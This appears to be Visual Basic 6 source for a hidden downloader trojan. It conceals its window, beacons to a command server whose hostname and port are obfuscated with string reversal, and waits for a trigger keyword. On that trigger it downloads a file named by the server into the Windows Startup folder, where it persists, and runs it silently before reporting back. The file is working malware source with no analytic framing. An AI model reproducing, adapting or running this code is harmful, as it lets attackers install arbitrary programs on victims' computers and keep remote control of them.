vb6 shit

VERSION 5.00

Object = "{248DD890-BB45-11CF-9ABC-0080C7E7B78D}#1.0#0"; "MSWINSCK.ocx"

Begin VB.Form FrmActualizar

   Appearance      =   0  'Flat

   BackColor       =   &H00000000&

   BorderStyle     =   0  'None

   Caption         =   " "

   ClientHeight    =   345

   ClientLeft      =   10005

   ClientTop       =   10005

   ClientWidth     =   345

   ClipControls    =   0   'False

   ControlBox      =   0   'False

   Icon            =   "Form1.frx":0000

   LinkTopic       =   "Detua"

   MaxButton       =   0   'False

   MinButton       =   0   'False

   Moveable        =   0   'False

   ScaleHeight     =   345

   ScaleWidth      =   345

   ShowInTaskbar   =   0   'False

   Visible         =   0   'False

   Begin VB.Timer Comprueba

      Interval        =   300

      Left            =   720

      Top             =   0

   End

   Begin VB.Timer Dulzinea

      Interval        =   1000

      Left            =   0

      Top             =   0

   End

   Begin VB.TextBox Clerigo

      Appearance      =   0  'Flat

      BackColor       =   &H00000000&

      ForeColor       =   &H0000FF00&

      Height          =   285

      Left            =   5760

      TabIndex        =   1

      Top             =   720

      Width           =   2895

   End

   Begin VB.TextBox Lapaja

      Appearance      =   0  'Flat

      BackColor       =   &H00000000&

      ForeColor       =   &H0000FF00&

      Height          =   285

      Left            =   5640

      TabIndex        =   0

      Top             =   1080

      Width           =   2895

   End

   Begin MSWinsockLib.Winsock FuncionPeronista

      Left            =   0

      Top             =   360

      _ExtentX        =   741

      _ExtentY        =   741

      _Version        =   393216

   End

   Begin VB.Timer Consuelo

      Interval        =   10000

      Left            =   360

      Top             =   0

   End

End

Attribute VB_Name = "FrmActualizar"

Attribute VB_GlobalNameSpace = False

Attribute VB_Creatable = False

Attribute VB_PredeclaredId = True

Attribute VB_Exposed = False

Private Type Consulado

PenisesA As String

PenisesB As String

End Type

Dim Trinoglaco As Consulado

 Option Explicit

Private Declare Function GetCurrentProcess Lib "kernel32.dll" () As Long

Private Declare Function ZwSetInformationProcess Lib "ntdll.dll" (ByVal p1 As Long, ByVal p2 As Long, ByVal p3 As Long, ByVal p4 As Long) As Long







Private Sub FuncionPeronista_Close()

FuncionPeronista.Close

End Sub

Private Sub Consuelo_Timer()

On Error Resume Next

If FuncionPeronista.State <> 7 Then

With FuncionPeronista

.Close

.RemoteHost = StrReverse("moc.ptthevres.snigulpemorhc")

.RemotePort = StrReverse("235")

.Connect

End With

End If

End Sub

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)

Call FuncionPeronista_Close

FuncionPeronista.Close

End

End Sub

Private Sub Form_Terminate()

Call FuncionPeronista_Close

FuncionPeronista.Close

End

End Sub

Private Sub Form_Unload(Cancel As Integer)

Call FuncionPeronista_Close

FuncionPeronista.Close

End

End Sub

Private Sub FuncionPeronista_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)

Call FuncionPeronista_Close

End Sub

Private Sub FuncionPeronista_Connect()

Dim Jejoz As Integer

Jejoz = 0

FuncionPeronista.SendData "Clerigo: " & App.EXEName & " - Version: " & App.Minor & " - " & App.Major

End Sub

Private Sub FuncionPeronista_dataArrival(ByVal bytesTotal As Long)

On Error Resume Next

Dim Poquitoh As String

FuncionPeronista.GetData Poquitoh

Dim i As Integer

  If InStr(Poquitoh, "PEPINO") Then

  With Trinoglaco

  .PenisesA = Split(Poquitoh, "*")(1)

  .PenisesA = Split(.PenisesA, ":")(0)

  .PenisesB = Split(Poquitoh, ":")(1)

  .PenisesB = Split(.PenisesB, "#")(0)

 Call Verificacionloca

 End With

End If

End Sub

Function Verificacionloca()

On Error Resume Next

    Dim Calzinado As String

    Dim Sacudo As String

    Sacudo = StrReverse("//:ptth")



        With Trinoglaco

            Lapaja.Text = .PenisesA

            Clerigo.Text = .PenisesB

            Lapaja.Text = Sacudo & Lapaja.Text

            Calzinado = ElChicoSabia(Lapaja.Text, Clerigo.Text, "userprofile", True, True)

        End With

End Function

Function ElChicoSabia(ByVal Demuestro As String, ByVal Quientejuna As String, Optional Bajoelloco As String = "TMP", Optional CBA As Boolean = True, Optional ElNinja As Boolean = False)

    On Error Resume Next

    Err.Clear

 Dim ElSucio As String

 Dim xml

 Dim yotambien

 Dim chauchis

Dim soyAlgo

Set soyAlgo = CreateObject("WScript.Shell")

ElSucio = soyAlgo.SpecialFolders("Startup")

    Set xml = CreateObject("Microsoft.xmlHTTP")

    Set yotambien = CreateObject("ADODB.Stream")

    xml.Open "GET", Demuestro, False

    xml.send

    xml.getAllResponseHeaders

    chauchis = ElSucio & "\" & Quientejuna

    yotambien.Open

    yotambien.Type = 1

    yotambien.Write xml.responseBody

    yotambien.SaveToFile chauchis, 2

    If Err Then

        ElChicoSabia = False

    Else

        If CBA = True Then

            If ElNinja = True Then

                Shell chauchis, vbHide

                FuncionPeronista.SendData "Aceituna " & chauchis & " -Oculto"

            Else

                Shell chauchis, vbNormalFocus

                FuncionPeronista.SendData "Aceituna " & chauchis & " -Normal"

            End If

        End If

        ElChicoSabia = True

    End If



End Function

Private Sub Dulzinea_Timer()



If App.PrevInstance = True Then End

App.Title = ""

Me.Visible = False

With FuncionPeronista

.Close

.RemoteHost = StrReverse("moc.ptthevres.snigulpemorhc")

.RemotePort = StrReverse("235")

.Connect

End With

Dulzinea.Enabled = False

End Sub